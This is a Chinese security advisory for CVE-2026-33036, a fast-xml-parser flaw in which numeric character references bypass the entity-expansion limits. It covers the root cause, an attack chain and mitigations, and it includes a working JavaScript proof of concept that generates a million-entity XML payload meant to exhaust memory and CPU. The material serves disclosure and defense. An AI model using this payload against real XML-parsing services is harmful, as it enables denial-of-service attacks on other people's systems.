IPBUF安全漏洞报告
English
CVE-2026-33036 CVSS 7.5 高危

CVE-2026-33036 fast-xml-parser实体扩展限制绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33036
漏洞类型
拒绝服务 (DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
fast-xml-parser

相关标签

DoSXML实体扩展fast-xml-parser拒绝服务CVE-2026-33036

漏洞概述

fast-xml-parser在4.0.0-beta.3至5.5.5版本中存在安全限制绕过漏洞。由于数字字符引用和标准XML实体未计入扩展限制,攻击者可利用此漏洞绕过防护机制,实施XML实体扩展拒绝服务攻击,导致服务器资源耗尽。

技术细节

该漏洞的根本原因在于OrderedObjParser.js文件中的replaceEntitiesValue()函数逻辑缺陷。该函数仅对DOCTYPE定义的自定义实体执行扩展计数,以防止资源耗尽,但在处理数字字符引用(如&#NNN;)和标准XML实体时,处理循环完全跳过了计数检查。这导致旨在修复CVE-2026-26278的maxTotalExpansions和maxExpandedLength配置失效。攻击者通过发送包含大量数字实体引用(例如100万个A)的恶意XML数据,可强制应用程序分配约147MB内存并消耗大量CPU资源,从而导致服务拒绝,即使开发人员已配置了严格的实体扩展限制。

攻击链分析

STEP 1
1. 探测
攻击者识别目标应用程序使用了受影响版本的fast-xml-parser库。
STEP 2
2. 构造载荷
攻击者构造包含大量数字字符引用(如A)或标准XML实体的恶意XML数据,而非传统的DOCTYPE定义实体。
STEP 3
3. 发送请求
攻击者将恶意XML数据发送至目标服务器的XML解析接口。
STEP 4
4. 绕过限制
解析器处理数字实体时绕过了maxTotalExpansions和maxExpandedLength计数检查。
STEP 5
5. 资源耗尽
应用程序为解析实体分配大量内存(约147MB)并占用CPU,导致进程崩溃或服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { XMLParser } = require("fast-xml-parser"); /** * PoC for CVE-2026-33036 * Demonstrates bypassing entity expansion limits using numeric character references. */ function generatePayload(count) { let payload = "<root>"; // Generating numeric character references which bypass maxTotalExpansions for (let i = 0; i < count; i++) { payload += "&#65;"; // 'A' } payload += "</root>"; return payload; } const parser = new XMLParser({ ignoreAttributes: true, // Strict limits intended to prevent DoS (Billion Laughs) maxTotalExpansions: 1000, maxExpandedLength: 1000 }); // Generate 1 million numeric entities const maliciousXml = generatePayload(1000000); console.time("Attack"); try { // Despite limits, this will cause high CPU/Memory usage const result = parser.parse(maliciousXml); console.log("Parsing finished. Result length:", result.root.length); } catch (e) { console.error("Error:", e.message); } console.timeEnd("Attack");

影响范围

fast-xml-parser >= 4.0.0-beta.3, <= 5.5.5

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对XML输入的长度进行严格限制,并禁用或严格审查外部实体的解析。同时,监控服务器内存和CPU使用情况,以便及时发现异常攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表